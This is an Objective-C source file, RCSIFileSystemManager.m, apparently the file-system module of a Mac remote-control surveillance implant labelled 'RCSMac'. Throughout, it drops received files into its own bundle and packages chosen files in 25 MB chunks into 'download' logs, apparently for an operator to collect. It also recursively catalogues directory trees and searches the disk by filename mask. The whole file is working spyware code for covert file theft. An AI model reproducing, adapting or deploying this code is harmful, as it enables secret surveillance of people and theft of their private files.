core/Modules/RCSIFileSystemManager.m
/*
* RCSIFileSystemManager.m
* RCSMac
*
*
* Created on 1/27/11.
* Copyright (C) HT srl 2011. All rights reserved
*
*/
#import "RCSIFileSystemManager.h"
#import "RCSICommon.h"
#import "RCSILogManager.h"
//#import "RCSMLogger.h"
//#import "RCSMDebug.h"
#define FS_MAX_DOWNLOAD_FILE_SIZE (100 * 1024 * 1024)
#define FS_MAX_UPLOAD_CHUNK_SIZE (25 * 1024 * 1024)
@interface _i_FileSystemManager (private)
- (NSMutableData *)_generateLogDataForPath: (NSString *)aPath
isDirectory: (BOOL)isDirectory
isEmpty: (BOOL)isEmpty;
@end
@implementation _i_FileSystemManager (private)
- (NSMutableData *)_generateLogDataForPath: (NSString *)aPath
isDirectory: (BOOL)isDirectory
isEmpty: (BOOL)isEmpty
{
NSMutableData *logData = [[NSMutableData alloc] init];
NSMutableData *rawHeader = [[NSMutableData alloc]
initWithLength: sizeof(fileSystemHeader)];
fileSystemHeader *logHeader = (fileSystemHeader *)[rawHeader bytes];
logHeader->flags = 0;
short unicodeNullTerminator = 0x0000;
NSDictionary *fileAttributes = [[NSFileManager defaultManager]
attributesOfItemAtPath: aPath
error: nil];
uint64_t fileSize = (uint64_t)[[fileAttributes objectForKey: NSFileSize]
unsignedLongLongValue];
int64_t filetime;
time_t unixTime;
time(&unixTime);
filetime = ((int64_t)unixTime * (int64_t)RATE_DIFF) + (int64_t)EPOCH_DIFF;
if (isDirectory)
{
logHeader->flags |= FILESYSTEM_IS_DIRECTORY;
}
if (isEmpty)
{
logHeader->flags |= FILESYSTEM_IS_EMPTY;
}
logHeader->version = LOG_FILESYSTEM_VERSION;
logHeader->pathLength = [aPath lengthOfBytesUsingEncoding: NSUTF16LittleEndianStringEncoding]
+ sizeof(unicodeNullTerminator);
logHeader->fileSizeLo = fileSize & 0xFFFFFFFF;
logHeader->fileSizeHi = fileSize >> 32;
logHeader->timestampLo = filetime & 0xFFFFFFFF;
logHeader->timestampHi = filetime >> 32;
[logData appendData: rawHeader];
[logData appendData: [aPath dataUsingEncoding: NSUTF16LittleEndianStringEncoding]];
[logData appendBytes: &unicodeNullTerminator
length: sizeof(short)];
[rawHeader release];
return [logData autorelease];
}
@end
@implementation _i_FileSystemManager
- (BOOL)createFile: (NSString *)aFileName withData: (NSData *)aFileData
{
#ifdef DEBUG_FS_MANAGER
infoLog(@"filename: %@", aFileName);
#endif
NSString *filePath = [NSString stringWithFormat: @"%@/%@",
[[NSBundle mainBundle] bundlePath],
aFileName];
if ([aFileData length] > FS_MAX_DOWNLOAD_FILE_SIZE)
{
#ifdef DEBUG_FS_MANAGER
errorLog(@"file too big! (>%d)", FS_MAX_DOWNLOAD_FILE_SIZE);
#endif
return NO;
}
return [aFileData writeToFile: filePath
atomically: YES];
}
- (BOOL)logFileAtPath: (NSString *)aFilePath
{
logDownloadHeader *additionalHeader;
u_int numOfTotalChunks = 1;
u_int currentChunk = 1;
u_int currentChunkSize = 0;
NSDictionary *fileAttributes;
fileAttributes = [[NSFileManager defaultManager]
attributesOfItemAtPath: aFilePath
error: nil];
u_int fileSize = [[fileAttributes objectForKey: NSFileSize] unsignedIntValue];
numOfTotalChunks = fileSize / FS_MAX_UPLOAD_CHUNK_SIZE + 1;
NSFileHandle *fileHandle = [NSFileHandle fileHandleForReadingAtPath: aFilePath];
#ifdef DEBUG_FS_MANAGER
warnLog(@"numOfTotalChunks: %d", numOfTotalChunks);
#endif
//
// Do while filesize is > 0
// in order to split the file in FS_MAX_UPLOAD_CHUNK_SIZE
//
do
{
NSAutoreleasePool *innerPool = [[NSAutoreleasePool alloc] init];
u_int fileNameLength = 0;
NSString *fileName;
if (numOfTotalChunks > 1)
{
fileName = [[NSString alloc] initWithFormat: @"%@ [%d of %d]",
aFilePath,
currentChunk,
numOfTotalChunks];
}
else
{
fileName = [[NSString alloc] initWithString: aFilePath];
}
#ifdef DEBUG_FS_MANAGER
warnLog(@"%@ with size (%d)", fileName, fileSize);
#endif
currentChunkSize = fileSize;
if (currentChunkSize > FS_MAX_UPLOAD_CHUNK_SIZE)
{
currentChunkSize = FS_MAX_UPLOAD_CHUNK_SIZE;
}
#ifdef DEBUG_FS_MANAGER
warnLog(@"currentChunkSize: %d", currentChunkSize);
#endif
fileSize -= currentChunkSize;
currentChunk++;
fileNameLength = [fileName lengthOfBytesUsingEncoding: NSUTF16LittleEndianStringEncoding];
//
// Fill in the agent additional header
//
NSMutableData *rawAdditionalHeader = [NSMutableData dataWithLength:
sizeof(logDownloadHeader) + fileNameLength];
additionalHeader = (logDownloadHeader *)[rawAdditionalHeader bytes];
additionalHeader->version = LOG_FILE_VERSION;
additionalHeader->fileNameLength = [fileName lengthOfBytesUsingEncoding:
NSUTF16LittleEndianStringEncoding];
@try
{
[rawAdditionalHeader replaceBytesInRange: NSMakeRange(sizeof(logDownloadHeader), fileNameLength)
withBytes: [[fileName dataUsingEncoding: NSUTF16LittleEndianStringEncoding] bytes]];
}
@catch (NSException *e)
{
#ifdef DEBUG_FS_MANAGER
errorLog(@"Exception on replaceBytesInRange makerange");
#endif
[fileName release];
[innerPool release];
}
_i_LogManager *logManager = [_i_LogManager sharedInstance];
BOOL success = [logManager createLog: LOG_DOWNLOAD
agentHeader: rawAdditionalHeader
withLogID: 0];
if (success == FALSE)
{
#ifdef DEBUG_FS_MANAGER
errorLog(@"createLog failed");
#endif
[fileName release];
[innerPool release];
return FALSE;
}
NSData *_fileData = nil;
if ((_fileData = [fileHandle readDataOfLength: currentChunkSize]) == nil)
{
#ifdef DEBUG_FS_MANAGER
errorLog(@"Error while reading file");
#endif
[fileName release];
[innerPool release];
return FALSE;
}
NSMutableData *fileData = [[NSMutableData alloc] initWithData: _fileData];
if ([logManager writeDataToLog: fileData
forAgent: LOG_DOWNLOAD
withLogID: 0] == FALSE)
{
#ifdef DEBUG_FS_MANAGER
errorLog(@"Error while writing data to log");
#endif
[fileData release];
[fileName release];
[innerPool release];
return FALSE;
}
if ([logManager closeActiveLog: LOG_DOWNLOAD
withLogID: 0] == FALSE)
{
#ifdef DEBUG_FS_MANAGER
errorLog(@"Error while closing activeLog");
#endif
[fileData release];
[fileName release];
[innerPool release];
return FALSE;
}
[fileData release];
[fileName release];
[innerPool drain];
}
while (fileSize > 0);
[fileHandle closeFile];
return YES;
}
- (BOOL)logDirContent: (NSString *)aDirPath withDepth: (uint32_t)aDepth
{
if (aDepth == 0)
{
#ifdef DEBUG_FS_MANAGER
infoLog(@"depth is zero, returning");
#endif
return TRUE;
}
NSAutoreleasePool *outerPool = [[NSAutoreleasePool alloc] init];
NSFileManager *_fileManager = [NSFileManager defaultManager];
BOOL isDir = NO;
int i = 0;
if ([aDirPath length] > 2)
{
NSString *lastChar = [aDirPath substringWithRange: NSMakeRange([aDirPath length] - 1, 1)];
if ([lastChar isEqualToString: @"*"])
{
aDirPath = [aDirPath substringWithRange: NSMakeRange(0, [aDirPath length] - 1)];
}
NSString *firstChars = [aDirPath substringWithRange: NSMakeRange(0, 2)];
if ([firstChars isEqualToString: @"//"])
{
aDirPath = [aDirPath substringWithRange: NSMakeRange(1, [aDirPath length] - 1)];
}
}
_i_LogManager *logManager = [_i_LogManager sharedInstance];
[_fileManager fileExistsAtPath: aDirPath
isDirectory: &isDir];
if (isDir == TRUE)
{
#ifdef DEBUG_FS_MANAGER
infoLog(@"is dir: %@", aDirPath);
#endif
BOOL success = [logManager createLog: LOG_FILESYSTEM
agentHeader: nil
withLogID: 0];
if (success == FALSE)
{
#ifdef DEBUG_FS_MANAGER
errorLog(@"createLog failed");
#endif
[outerPool release];
return FALSE;
}
NSArray *dirContent = [_fileManager contentsOfDirectoryAtPath: aDirPath
error: nil];
int filesCount = [dirContent count];
NSMutableData *firstLogData = [self _generateLogDataForPath: aDirPath
isDirectory: YES
isEmpty: (filesCount > 0) ? NO : YES];
if ([logManager writeDataToLog: firstLogData
forAgent: LOG_FILESYSTEM
withLogID: 0] == FALSE)
{
#ifdef DEBUG_FS_MANAGER
errorLog(@"writeDataToLog firstLogData failed");
#endif
[outerPool release];
return FALSE;
}
#ifdef DEBUG_FS_MANAGER
infoLog(@"entries (%d)", filesCount);
#endif
for (i = 0; i < filesCount; i++)
{
NSAutoreleasePool *innerPool = [[NSAutoreleasePool alloc] init];
NSString *fileName = [dirContent objectAtIndex: i];
NSMutableString *filePath = [NSMutableString stringWithFormat: @"%@%@", aDirPath, fileName];
BOOL isEmpty = NO;
BOOL isDir = NO;
[_fileManager fileExistsAtPath: filePath
isDirectory: &isDir];
// when set to 1 we need to recurse in the current subdir
int recurse = 0;
if (isDir == TRUE)
{
#ifdef DEBUG_FS_MANAGER
infoLog(@"is subdir: %@", filePath);
#endif
NSArray *subDirContent = [_fileManager contentsOfDirectoryAtPath: filePath
error: nil];
isDir = YES;
if ([subDirContent count] > 0)
{
#ifdef DEBUG_FS_MANAGER
infoLog(@"need to recurse on %@", filePath);
#endif
recurse = 1;
}
else
{
#ifdef DEBUG_FS_MANAGER
warnLog(@"is empty %@", filePath);
#endif
isEmpty = YES;
}
}
NSMutableData *logData = [self _generateLogDataForPath: filePath
isDirectory: isDir
isEmpty: isEmpty];
if ([logManager writeDataToLog: logData
forAgent: LOG_FILESYSTEM
withLogID: 0] == FALSE)
{
#ifdef DEBUG_FS_MANAGER
errorLog(@"writeDataToLog failed");
#endif
[innerPool release];
[outerPool release];
return FALSE;
}
#ifdef DEBUG_FS_MANAGER
infoLog(@"%@ logged", filePath);
#endif
if (recurse == 1)
{
#ifdef DEBUG_FS_MANAGER
infoLog(@"recursing on %@", filePath);
#endif
[filePath appendString: @"/"];
[self logDirContent: filePath
withDepth: aDepth - 1];
}
[innerPool release];
}
}
else
{
#ifdef DEBUG_FS_MANAGER
errorLog(@"Path not found or not a dir (%@)", aDirPath);
#endif
[outerPool release];
return FALSE;
}
if ([logManager closeActiveLog: LOG_FILESYSTEM
withLogID: 0] == FALSE)
{
#ifdef DEBUG_FS_MANAGER
errorLog(@"closeActiveLog failed");
#endif
[outerPool release];
return FALSE;
}
[outerPool release];
return TRUE;
}
- (NSArray *)searchFilesOnHD: (NSString *)aFileMask
{
NSAutoreleasePool *outerPool = [[NSAutoreleasePool alloc] init];
NSFileManager *_fileManager = [NSFileManager defaultManager];
NSString *filePath = [aFileMask stringByDeletingLastPathComponent];
NSString *fileNameToMatch = [aFileMask lastPathComponent];
NSMutableArray *filesFound = [[NSMutableArray alloc] init];
BOOL isDir = NO;
int i = 0;
[_fileManager fileExistsAtPath: filePath
isDirectory: &isDir];
if (isDir == TRUE)
{
NSArray *dirContent = [_fileManager contentsOfDirectoryAtPath: filePath
error: nil];
int filesCount = [dirContent count];
for (i = 0; i < filesCount; i++)
{
NSString *fileName = [dirContent objectAtIndex: i];
if (matchPattern([fileName UTF8String],
[fileNameToMatch UTF8String]))
{
NSString *foundFilePath = [NSString stringWithFormat: @"%@/%@", filePath, fileName];
[filesFound addObject: foundFilePath];
}
}
}
if ([filesFound count] > 0)
{
[outerPool release];
return [filesFound autorelease];
}
[filesFound release];
[outerPool release];
return nil;
}
@end